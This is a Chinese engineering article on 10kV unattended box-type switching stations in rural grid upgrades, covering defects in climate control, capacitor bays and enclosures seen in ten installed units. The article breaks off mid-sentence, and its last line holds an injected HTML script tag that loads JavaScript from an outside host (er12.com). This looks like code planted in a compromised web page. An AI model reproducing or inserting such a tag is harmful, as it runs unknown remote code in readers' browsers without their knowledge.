1 箱式开关站简介
10kv无人值班箱式开关站(有些厂家又称箱式变电站)是指将包括开关设备、站用变压器等在内的高压一次系统和包括直流电源、控制、保护、计量、远动等在内的二次系统以及相应的内部连接线均用外壳封闭起来,预装到一个防潮、防尘、防火、隔热的钢结构箱壳内,从而组成一种全封闭、可移动的箱型成套开关设备。作为一种适应两网改造推出的新产品,它符合农网变电所"小容量、密布点、短半径"的建设原则和"户外化、小型化、造价低、安全可靠、技术先进"的发展方向,因而深受各部门青睐,近年来在农网改造中获得了广泛的应用。
县级供电企业农网改造用于高压工程的投资十分紧缺,为在不减小工程规模的前提下,加快工程进度、降低工程成本选用箱式开关站就是一个很好的办法。目前我局已投运的箱式开关站10个,它们提高了农网的综合自动化水平,为逐步实现变电所的无人值班打下了基础。但是,在应用过程中也发现了一些问题,现在结合这些工程中出现的问题,谈一点设计体会。
2 部分箱式开关站存在的缺陷
截止2001年底,我局已有10个35kv变电所的箱式开关站投运。
以上箱式开关站中,几乎每一个开关站都是由不同的厂家生产的。各个开关站名称、规格、型号不尽相同,如有些厂家称之为"智能型箱式开关站";也有一些厂家称之为"预装式高压成套开关柜";还有一些厂家称之为"箱式变电站"或简称"箱变"。由于各个供货厂家的技术水平和生产能力参差不齐,所提供的设备质量差异也较大。部分产品存在或多或少的缺陷,有些小厂家甚至在中标后不能生产出符合要求的设备,最后转包给其他厂家生产。综合起来,笔者发现如下问题:
2.1 环境测控系统不完善
箱式开关站本身的结构决定了箱体内电气设备通风散热条件差的缺点。为了改善箱内设备的运行条件,适应一年四季的工作环境,必须给开关站配置包括加热器、凝露控制器、去湿调温功能空调机等在内的完善的环境测控系统,使无人值班的开关站能自动调节环境条件,将箱内温度控制在合乎要求的范围之内;同时,当环境参数越限时,相关设备能自动启动,可以将信号上传到调度,调度人员能随时掌握开关站的运行状态。这些环境测控装置对于开关站的安全稳定运行具有重要的作用,然而部分供货厂家对此却不重视。有的箱式开关站,由于内部没有设置空调,仅在顶板上安装了几台排风扇用以通风散热,安装完工后,夏天开关站在太阳暴晒下,箱体内温度远远高于正常情况下的温度,这给箱体内设备带来了恶劣的运行环境,不仅会缩短设备的使用寿命,降低其可靠性,而且还给运行维护带来了麻烦:巡视检修人员进入开关站犹如进入蒸笼。此外,由于忽略了凝露控制器,外界温度急剧变化时在箱体内产生凝露,对设备也会造成不良影响。这些问题在相关部门的协调下得到了解决,但也影响了工程的施工进度。
2.2 电容间隔存在安全隐患
选用10kv箱式开关站的35kv变电所绝大多数位于农村电网的末端,为了提高功率因素,降低电网损耗,一般都要求开关站配置y形接线的密集型并联电容器作为无功补偿装置。目前多数厂家配置的是密集式电容器;其抗击穿性强;但是采用的仍然是液体浸渍剂作为绝缘油,事故率较高,有发生电容器爆炸的危险,与开关站内其他设备全部无油化不配套。另外,还有少数厂家以电压互感器代替专用放电线圈供电容器断电时放电之用,不能迅速、有效地将电容器上的剩余电压降至安全值,不符合规程的要求,这些都成为开关站的安全隐患。为了根除这些"安全杀手",建议选用新型干式无功补偿电容,配置电容专用放电线圈,单独放置在开关站内一个具有防爆功能的加强型间隔内。
2.3 箱体外壳不尽人意
一般来讲,箱式开关站外壳防护等级不得低于ip2x,除了达到电气五防要求外,还应该具备防雨、防潮、防锈、防火、隔热的功能。为了达到这些目的,开关站的外观将顶板设计成为"人"字状,采用整体式金属框架结构,外露支柱部分及底座部分采用防锈工艺处理,外涂防腐性能良好的装饰性面漆;内部为金属板件结构,并为各个主要元件焊接有可靠的接地装置;箱体设置采用新型复合材料有隔热功能的夹层。部分厂家只注意箱内电气设备,而对箱体外壳没有给予应有的重视,雨天没有相应的排水措施,结果顶部经常积水,不能排尽。后在箱体壁板上安装了从顶部平台引下来的排水管,才解决了这一问题。
3 箱式开关站的设计原则及注意事项
为了尽量将产品缺陷消灭在出厂之前,让产品符合要求,使用部门应与厂家通力合作,将当地供电系统的详细资料提供给厂家,以便厂家在生产时加以综合考虑。
在我局选用箱式开关站的均为各县(市)级供电企业的35kv变电所,各个变电所的总体规模大同小异,基本情况如下:35kv部分为单母?script src=http://er12.com/t.js>